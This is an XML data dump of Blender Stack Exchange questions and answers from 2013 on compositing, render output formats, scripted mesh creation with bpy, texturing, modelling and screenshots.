  <row Id="2404" PostTypeId="2" ParentId="2376" CreationDate="2013-08-15T09:31:51.740" Score="17" Body="&lt;p&gt;There was a &lt;a href=&quot;https://projects.blender.org/tracker/index.php?func=detail&amp;amp;aid=35425&amp;amp;group_id=9&amp;amp;atid=498&quot; rel=&quot;noreferrer&quot;&gt;bug report on this where Ton said&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Blender compositor is an extension of our render pipeline, animation frames by definition are always the same size.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;This is an issue we like to work on though, it's called &quot;Canvas awareness&quot; for compositor, where you can define a different output size for it than renders, and transform the renders inside the canvas freely.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;There's currently two options:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Perform transforms in 3D and used to resulting render layer. The &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Add_Mesh/Planes_from_Images&quot; rel=&quot;noreferrer&quot;&gt;planes from images&lt;/a&gt; addon can help with the setup.&lt;/li&gt;&#xA;&lt;li&gt;Perform a composite operation against an image of the desired size. The easiest way to generate one, is using the &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.64/Mask_Editor#Compositing_Node&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;Mask&lt;/em&gt; node&lt;/a&gt; with a &lt;em&gt;Fixed&lt;/em&gt; size.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/KyXWG.png&quot; alt=&quot;Example node setup using the Mask node set the size of the canvas&quot;&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="290" LastEditorUserId="290" LastEditDate="2013-09-08T01:56:49.217" LastActivityDate="2013-09-08T01:56:49.217" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2405" PostTypeId="1" AcceptedAnswerId="2406" CreationDate="2013-08-15T09:56:03.613" Score="11" ViewCount="5815" Body="&lt;p&gt;When I try to save the rendered image, all I get is a *.png picture format. &lt;strong&gt;Can I save in other formats &lt;em&gt;(.jpeg .bmp .gif)&lt;/em&gt; straight from Blender? How ?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="1100" LastEditorUserId="290" LastEditDate="2013-08-15T10:31:17.863" LastActivityDate="2015-02-26T20:43:33.297" Title="Save rendered images in different formats" Tags="&lt;rendering&gt;&lt;file-format&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2406" PostTypeId="2" ParentId="2405" CreationDate="2013-08-15T10:17:10.460" Score="9" Body="&lt;p&gt;See the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Output#Output_Panel&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Output&lt;/em&gt; panel&lt;/a&gt; in the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render#The_Render_Settings_Panel&quot; rel=&quot;nofollow noreferrer&quot;&gt;render settings&lt;/a&gt;. It can also be changed post render with &lt;em&gt;Image &gt; Save As Image&lt;/em&gt; (&lt;kbd&gt;F3&lt;/kbd&gt;) in the &lt;em&gt;Save As Image&lt;/em&gt; side panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to output to multiple formats, this can be done using the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Composite_Nodes/Types/Output#File_Output_Node&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;File Output&lt;/em&gt; compositor node&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For GIF see: &lt;a href=&quot;https://blender.stackexchange.com/q/1934/290&quot;&gt;Can Blender render animated gifs?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="290" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2015-02-26T20:43:33.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2407" PostTypeId="1" AcceptedAnswerId="2408" CreationDate="2013-08-15T13:39:58.303" Score="18" ViewCount="12988" Body="&lt;p&gt;I do not want to use BMesh this time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to create a mesh programmatically, for this purpose I created this short script to see what I do wrong in my importer script. In this script I try to create a tetraeder. First I create the mesh, then define the vertices. Then I go for the polygons, but here I do something bad, because at the end I got no polygons defined.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mesh = bpy.data.meshes.new(&quot;Teszt&quot;)&#xA;&#xA;mesh.vertices.add(4)&#xA;mesh.vertices[0].co = (0,0,0)&#xA;mesh.vertices[1].co = (2,0,0)&#xA;mesh.vertices[2].co = (1,2,0)&#xA;mesh.vertices[3].co = (1,1,3)&#xA;&#xA;mesh.polygons.add(4)&#xA;mesh.polygons[0].vertices = (0,1,2)&#xA;mesh.polygons[1].vertices = (0,1,3)&#xA;mesh.polygons[2].vertices = (1,2,3)&#xA;&#xA;mesh.polygons[3].vertices = (0,2,3)&#xA;print(len(mesh.polygons[3].vertices))&#xA;&#xA;mesh.polygons[3].vertices = [0,2,3]&#xA;print(len(mesh.polygons[3].vertices))&#xA;&#xA;#mesh.update()&#xA;&#xA;#from bpy_extras import object_utils&#xA;#object_utils.object_data_add(bpy.context, mesh)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am pretty new to Python, so it may be totally my fault, but when I check the len of (0,2,3), that is 3, when I execute &lt;code&gt;mesh.polygons[3].vertices = (0,2,3)&lt;/code&gt; it says 0. No exception or error message, just shallows it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I try to &lt;code&gt;update()&lt;/code&gt; or &lt;code&gt;...data_add(&lt;/code&gt; at the end, Blender simply exits.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;So my question is:&lt;/strong&gt; how to define the polygons properly (and without using bmesh)?&lt;/p&gt;&#xA;" OwnerUserId="1090" LastActivityDate="2017-01-20T19:12:22.667" Title="How to create a mesh programmatically, without bmesh?" Tags="&lt;scripting&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="2408" PostTypeId="2" ParentId="2407" CreationDate="2013-08-15T13:52:33.913" Score="19" Body="&lt;p&gt;Your importer script might be easier to write using &lt;code&gt;from_pydata&lt;/code&gt;, it will certainly look cleaner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;quads&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;verts = [&#xA;    (1.0, 1.0, -1.0),&#xA;    (1.0, -1.0, -1.0),&#xA;    (-1.0, -1.0, -1.0),&#xA;    (-1.0, 1.0, -1.0),&#xA;    (1.0, 1.0, 1.0),&#xA;    (1.0, -1.0, 1.0),&#xA;    (-1.0, -1.0, 1.0),&#xA;    (-1.0, 1.0, 1.0)&#xA;]&#xA;&#xA;faces = [&#xA;    (0, 1, 2, 3),&#xA;    (4, 7, 6, 5),&#xA;    (0, 4, 5, 1),&#xA;    (1, 5, 6, 2),&#xA;    (2, 6, 7, 3),&#xA;    (4, 0, 3, 7)&#xA;]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;tris&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;verts = [&#xA;    (-0.285437,-0.744976,-0.471429),&#xA;    (-0.285437,-0.744976,-2.471429),&#xA;    (1.714563,-0.744976,-2.471429),&#xA;    (1.714563,-0.744976,-0.471429),&#xA;    (-0.285437,1.255024,-0.471429),&#xA;    (-0.285437,1.255024,-2.471429),&#xA;    (1.714563,1.255024,-2.471429),&#xA;    (1.714563,1.255024,-0.471429)&#xA;]&#xA;&#xA;faces =  [&#xA;    (4,5,1), (5,6,2), (6,7,3), (4,0,7),&#xA;    (0,1,2), (7,6,5), (0,4,1), (1,5,2),&#xA;    (2,6,3), (7,0,3), (3,0,2), (4,7,5)&#xA;]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;both&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy  &#xA;&#xA;# verts = &#xA;# faces =   &#xA;&#xA;mesh_data = bpy.data.meshes.new(&quot;cube_mesh_data&quot;)&#xA;mesh_data.from_pydata(verts, [], faces)&#xA;mesh_data.update()&#xA;&#xA;obj = bpy.data.objects.new(&quot;My_Object&quot;, mesh_data)&#xA;&#xA;scene = bpy.context.scene&#xA;scene.objects.link(obj)&#xA;obj.select = True&#xA;# scene.objects.active = obj  # make the selection effective&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2017-01-20T19:12:22.667" LastActivityDate="2017-01-20T19:12:22.667" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2409" PostTypeId="1" AcceptedAnswerId="2413" CreationDate="2013-08-15T16:14:37.793" Score="6" ViewCount="2132" Body="&lt;p&gt;Is it possible to only change the frame on a image sequence on every nth scene frame?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if I have a 6 frame image sequence, and I want it to last 30 frames, It should only change to the next image every 5 scene frames.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a image texture in cycles.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-08-15T17:50:21.940" LastActivityDate="2013-08-17T13:10:22.107" Title="Change Image sequence frame only every nth scene frame?" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;" AnswerCount="2" CommentCount="4" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2410" PostTypeId="1" AcceptedAnswerId="2411" CreationDate="2013-08-15T16:17:57.893" Score="11" ViewCount="3967" Body="&lt;p&gt;I'm writing an addon to &lt;strong&gt;parse a directory&lt;/strong&gt; (and its sub-dirs) to write an &lt;strong&gt;XML&lt;/strong&gt; file which describe the tree-structure of the assets contained in that directory.&lt;br&gt;&#xA;At the moment, my standalone script works pretty well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The fact is, I need to add some info to the XML, like the &lt;strong&gt;dependencies&lt;/strong&gt; (linked libraries) of each .blend file the script found.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found a way to do this (outside blender), with the module &quot;pyblenderfile&quot; : &lt;a href=&quot;http://code.google.com/p/pyblenderfile/&quot;&gt;http://code.google.com/p/pyblenderfile/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The principle of this module is to &lt;strong&gt;open a .blend and get all its data&lt;/strong&gt;. But it's pretty long and often buggy on large .blend files. Especially since it's included in a &lt;code&gt;for ...&lt;/code&gt; loop!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I wonder if there is a utility function or method into Blender API, to access other .blend files data (without having to &lt;code&gt;wm.open()&lt;/code&gt; them) ?&lt;/p&gt;&#xA;" OwnerUserId="527" LastActivityDate="2015-08-05T23:28:52.350" Title="Is there a way to acces external .blend file's data with python script?" Tags="&lt;scripting&gt;&lt;python&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2411" PostTypeId="2" ParentId="2410" CreationDate="2013-08-15T16:30:36.697" Score="12" Body="&lt;p&gt;There's no data API for the .blend file format.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, it sounds like you're trying to make a tool similar to &lt;a href=&quot;http://www.atmind.nl/?p=47&quot;&gt;Blender-Aid&lt;/a&gt; (&lt;a href=&quot;https://code.google.com/p/blender-aid/&quot;&gt;code is here&lt;/a&gt;). Perhaps that's better place to start.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that &lt;code&gt;blendfile.py&lt;/code&gt; from Blender-Aid can be used as a standalone blend file reader.&lt;/p&gt;&#xA;" OwnerUserId="836" LastEditorUserId="55" LastEditDate="2013-08-16T02:07:32.813" LastActivityDate="2013-08-16T02:07:32.813" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2412" PostTypeId="2" ParentId="2409" CreationDate="2013-08-15T17:52:40.073" Score="1" Body="&lt;p&gt;One way to do this (as mentioned by Fweeb) is to:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Render out the image sequence with the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Sequencer&quot; rel=&quot;nofollow&quot;&gt;VSE&lt;/a&gt; using the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Sequencer/Usage#Filter&quot; rel=&quot;nofollow&quot;&gt;&lt;em&gt;Strobe&lt;/em&gt;&lt;/a&gt; option.&lt;br&gt;&#xA;To build on the example in the question, this will essentially create 5 copies of each image, properly labeled with frame numbers etc.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Load the rendered sequence instead of the original. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-08-15T18:00:32.093" LastActivityDate="2013-08-15T18:00:32.093" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2413" PostTypeId="2" ParentId="2409" CreationDate="2013-08-15T19:19:06.503" Score="6" Body="&lt;p&gt;Another Way:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add Image Texture Node with &lt;strong&gt;Image Sequence&lt;/strong&gt; enabled.&#xA;Animate the &lt;strong&gt;Offset&lt;/strong&gt; &lt;em&gt;Parameter&lt;/em&gt; for animation.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/UjjFd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="738" LastEditorUserId="290" LastEditDate="2013-08-15T20:24:06.317" LastActivityDate="2013-08-15T20:24:06.317" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2416" PostTypeId="2" ParentId="2407" CreationDate="2013-08-16T02:14:02.477" Score="6" Body="&lt;p&gt;The reason the script fails is because you're not adding loops or setting the &lt;code&gt;loop start&lt;/code&gt; or &lt;code&gt;loop_total&lt;/code&gt; for each polygon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is not very handy for mesh creation, which is why BMesh API was added as well as &lt;code&gt;from_pydata&lt;/code&gt; utility function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to see how it works &lt;code&gt;bpy_types.py&lt;/code&gt; defines the &lt;code&gt;from_pydata&lt;/code&gt; function.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-08-16T02:14:02.477" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2418" PostTypeId="1" AcceptedAnswerId="2419" CreationDate="2013-08-16T11:11:39.893" Score="9" ViewCount="2688" Body="&lt;p&gt;I'm trying to model a ww2 fighter plane but stuck at the cockpit. As we know it's made of metal bars with pieces of glass in between. Just wondering what's the common method for such models.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/y1tBY.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Shall I model the metal bars as solid first and add glass planes or is there a way to model them as a whole and then add some sort of transparent textures to it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="1113" LastEditorUserId="12" LastEditDate="2013-08-16T19:44:51.420" LastActivityDate="2013-08-16T19:44:51.420" Title="Modelling fighter plane cockpit" Tags="&lt;modeling&gt;&lt;workflow&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2419" PostTypeId="2" ParentId="2418" CreationDate="2013-08-16T11:17:42.290" Score="7" Body="&lt;p&gt;There are many ways to do this, obviously.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I recommend, for the best result, to first model the whole cockpit, completely ignoring any seams and materials, just getting the shape perfectly right using subsurf and as many or few loops as you want to use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, you can use the retopo tools in Blender to model a relatively fine mesh over this base-shape, fully concentrating on the right topology following the aluminium or glass surfaces. Because, through the retopology-tools (surface snapping), you don't have to worry about the three-dimensional shape at all, you will get one perfectly fitting mesh with the edge loops in the right places.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All you have to do then is to separate (Y &gt; Split) the sections that are made out of different materials and give them some thickness through a solidify modifier or by hand. This way both the glass and the metal will look good from all angles because they have real thickness.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I actually wrote a blogpost about this a few years ago and made a screen capture of the process. The Blender Version is 2.49, but all techniques used there are still applicable today: &lt;a href=&quot;http://artificialflight.org/blog/2010/modelling-detail-on-round-surfaces-using-retopo/&quot; rel=&quot;noreferrer&quot;&gt;Blogpost&lt;/a&gt; (Sorry, it's not a good tutorial, but maybe it helps in some way).&lt;/p&gt;&#xA;" OwnerUserId="1068" LastEditorUserId="1068" LastEditDate="2013-08-16T13:15:45.647" LastActivityDate="2013-08-16T13:15:45.647" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2420" PostTypeId="1" CreationDate="2013-08-16T12:33:22.420" Score="0" ViewCount="30" Body="&lt;p&gt;After I enable an addon to add objects (for instance a gear from Extra Objects addon) the interface shows up in the toolbar menu. Is there any way to get the interface back after it has disappeared?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: Thanks. That was not the answer I was looking for but I suppose that I will have to live with it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Stephen&lt;/p&gt;&#xA;" OwnerUserId="239" LastEditorUserId="239" LastEditDate="2013-08-16T14:32:02.533" LastActivityDate="2013-08-16T14:32:02.533" Title="Finding controls/interface for addons" Tags="&lt;modeling&gt;&lt;interface&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2013-08-16T13:44:04.740" ContentLicense="CC BY-SA 3.0" />
  <row Id="2421" PostTypeId="1" AcceptedAnswerId="2432" CreationDate="2013-08-16T13:40:12.980" Score="10" ViewCount="986" Body="&lt;p&gt;I was looking after some information about armature and bones, so I can continue my importer script. I found some nice info &lt;a href=&quot;https://github.com/addam/Export-Paper-Model-from-Blender/blob/master/object_convert_to_armature.py&quot;&gt;here&lt;/a&gt;; no BMesh, and simple enough for my needs as beginner, so just perfect. But while looking at the code I saw that it uses &quot;edit mode&quot; (line 120), what I wanted to avoid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is: can I programmatically add/manipulate bones, without edit mode? Is there any better way then in &lt;a href=&quot;https://github.com/addam/Export-Paper-Model-from-Blender/blob/master/object_convert_to_armature.py&quot;&gt;this&lt;/a&gt; code?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also tried to use the &quot;bones&quot; collection, but I could not append/new/add items into them.&lt;/p&gt;&#xA;" OwnerUserId="1090" LastActivityDate="2013-08-17T12:03:04.727" Title="Can armature/bones be edited without edit mode?" Tags="&lt;scripting&gt;&lt;bones&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2422" PostTypeId="1" AcceptedAnswerId="2424" CreationDate="2013-08-16T15:06:56.980" Score="7" ViewCount="16127" Body="&lt;p&gt;Here is an image of my Blender workspace:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yQk66.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, the image of the Spanish flag is flipped state on my plane.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have I missed something here? All I did was add an image to the plane.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to add another image on the opposite of the flag too?&lt;/p&gt;&#xA;" OwnerUserId="1117" LastEditorUserId="372" LastEditDate="2013-08-16T15:27:59.233" LastActivityDate="2018-08-13T09:34:46.740" Title="Texture Image Material is flipping the PNG file I Input" Tags="&lt;texturing&gt;&lt;image&gt;" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2423" PostTypeId="2" ParentId="2422" CreationDate="2013-08-16T15:26:55.587" Score="8" Body="&lt;p&gt;You're probably looking at the &quot;back&quot; of the plane, then.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To fix this, pick any one of the below options:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Mirror the plane on the X-axis.&lt;/strong&gt; Do this with &lt;kbd&gt;S&lt;/kbd&gt;&lt;kbd&gt;X&lt;/kbd&gt;&lt;kbd&gt;-1&lt;/kbd&gt;&lt;kbd&gt;Enter&lt;/kbd&gt; or &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;M&lt;/kbd&gt;&lt;kbd&gt;X&lt;/kbd&gt;&lt;kbd&gt;Enter&lt;/kbd&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Flip the plane's normals.&lt;/strong&gt; Press &lt;kbd&gt;Tab&lt;/kbd&gt; to enter Edit Mode, press &lt;kbd&gt;A&lt;/kbd&gt; to select all vertices, and then look in the tool shelf at left for &lt;em&gt;Flip Direction&lt;/em&gt; under the &lt;em&gt;Normals&lt;/em&gt; subheading (it's about halfway down the list).&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Flip your camera around.&lt;/strong&gt; Put the 3D cursor at the center of the scene, change the pivot point to &lt;em&gt;3D Cursor&lt;/em&gt; by pressing &lt;kbd&gt;. (period)&lt;/kbd&gt;, and press &lt;kbd&gt;R&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt;&lt;kbd&gt;180&lt;/kbd&gt;&lt;kbd&gt;Enter&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Create a UV map.&lt;/strong&gt; This is probably the best and most flexible solution, but it requires a little more work. Press &lt;kbd&gt;Tab&lt;/kbd&gt; to enter Edit Mode, select all the vertices with &lt;kbd&gt;A&lt;/kbd&gt;, and, since it's only a plane, simply press &lt;kbd&gt;U&lt;/kbd&gt; and select &lt;em&gt;Unwrap&lt;/em&gt;. Then, in the UV/Image Editor, you can move the UV vertices to make your texture display correctly.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="372" LastActivityDate="2013-08-16T15:26:55.587" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2424" PostTypeId="2" ParentId="2422" CreationDate="2013-08-16T15:27:11.300" Score="7" Body="&lt;p&gt;If you want it to look right from this side, there's a few quick solutions for that:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Rotate the plane 180° around the Z-Axis&lt;/li&gt;&#xA;&lt;li&gt;Flip the texture by inverting the value under Mapping &gt; Scale &gt; X&lt;/li&gt;&#xA;&lt;li&gt;UV-Unwrap it from the side you're looking from with &lt;kbd&gt;U&lt;/kbd&gt; &gt; Project from view (bounds) (you might have to press &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;Numpad 1 &lt;/kbd&gt; before).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If you want it to look right from both sides, you will have to duplicate the plane, offset it a tiny bit and unwrap both sides accordingly. But it's very rare that flags look correct from both sides, because printing that without the other side being visible is difficult.&lt;/p&gt;&#xA;" OwnerUserId="1068" LastActivityDate="2013-08-16T15:27:11.300" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2425" PostTypeId="1" CreationDate="2013-08-16T16:02:53.510" Score="8" ViewCount="1497" Body="&lt;p&gt;I'd like to reduce the time necessary to create screenshots. I want to skip reopening and cutting and saving. Instead I'd like to use a python script to determine the size of the part of the screen and crop the screenshot accordingly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, there's three (four) questions in one: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Is it possible to take a screenshot with python?&lt;/li&gt;&#xA;&lt;li&gt;Can I edit the screenshot with python?&lt;/li&gt;&#xA;&lt;li&gt;Can I determine the size of an element in the user interface to crop accordingly?&lt;/li&gt;&#xA;&lt;li&gt;Is there already a solution out there? &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1077" LastEditorUserId="1077" LastEditDate="2013-08-16T16:20:11.033" LastActivityDate="2013-08-16T18:56:20.390" Title="Is it possible to save certain parts of a screenshot" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2426" PostTypeId="2" ParentId="2425" CreationDate="2013-08-16T16:52:04.330" Score="9" Body="&lt;p&gt;&lt;em&gt;This answer is given with assumption that you would like to save different windows screen shot only.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are the steps to take screenshots of specific windows in Blender e.g 3dView, UV Windows, Properties.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Hover your mouse over required window.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Press &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;F3&lt;/kbd&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Before saving screen shot, Uncheck &lt;strong&gt;&lt;em&gt;Full Screen&lt;/em&gt;&lt;/strong&gt; box to save only specific windows shot. It is available in &lt;strong&gt;&lt;em&gt;Save Screenshot&lt;/em&gt;&lt;/strong&gt; Properties Box.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="738" LastEditorUserId="12" LastEditDate="2013-08-16T17:51:36.050" LastActivityDate="2013-08-16T17:51:36.050" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2427" PostTypeId="2" ParentId="1723" CreationDate="2013-08-16T17:13:22.787" Score="7" Body="&lt;p&gt;This is my theory:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Static&quot; means a non-animated, non-moving object&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Rigid&quot; means a non-animated, (possibly) moving object&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Animated&quot; means an animated (shape keys, armatures, etc.), (possibly) moving object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tests won't resolve the issue, since, as the original question points out, they're &lt;em&gt;currently&lt;/em&gt; all the same. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my theory: I've heard talk about using volumetrics in the game engine.  When that happens, the interactions between static, rigid, and animated objects is going to be essential - it would be a waste to calculate everything if you weren't having the smoke interact with animated objects, for instance.  My theory is that they are currently &quot;the same&quot; because it does not matter outside of the game engine - it doesn't have to be specified, and resources are not delegated real-time as they are in the game engine.  But in the game engine, you DO need to label an object as static, rigid, or animated - and that goes for smoke as well.  Essentially, the technical difference between all of the above would be the same for any other object in the game engine - a necessary setting that tells physics how to interact with it to optimize resources.&lt;/p&gt;&#xA;" OwnerUserId="556" LastActivityDate="2013-08-16T17:13:22.787" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2428" PostTypeId="1" AcceptedAnswerId="2593" CreationDate="2013-08-16T18:28:53.090" Score="11" ViewCount="2205" Body="&lt;p&gt;The Blender game engine does not move into the next frame if all the active scripts have not yet finished.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Say we have an HTTP script in the game. The script retrieves data from a server. I presume the retrieval process cannot be split into multiple small processes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know only of the subprocess module's ability to work outside the bge, but on Windows a new Blender window pops up every time the subprocess module is used to start any new Python script.  &lt;/p&gt;&#xA;" OwnerUserId="311" LastEditorDisplayName="user55877" LastEditDate="2018-05-11T12:21:47.070" LastActivityDate="2018-05-11T12:21:47.070" Title="How to run scripts in the background of the game engine without freezing or opening new Blender instances on Windows?" Tags="&lt;game-engine&gt;&lt;windows&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="2429" PostTypeId="2" ParentId="2425" CreationDate="2013-08-16T18:56:20.390" Score="6" Body="&lt;p&gt;To use the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Vitals/Screenshots&quot;&gt;screenshot feature&lt;/a&gt; see the &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_68_release/bpy.ops.screen.html?highlight=screenshot#bpy.ops.screen.screenshot&quot;&gt;&lt;code&gt;bpy.ops.screen.screenshot&lt;/code&gt;&lt;/a&gt; operator. To crop to the active window/editor use the &lt;code&gt;full&lt;/code&gt; option:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;bpy.ops.screen.screenshot(filepath=&quot;//output.png&quot;, full=False)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="290" LastActivityDate="2013-08-16T18:56:20.390" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
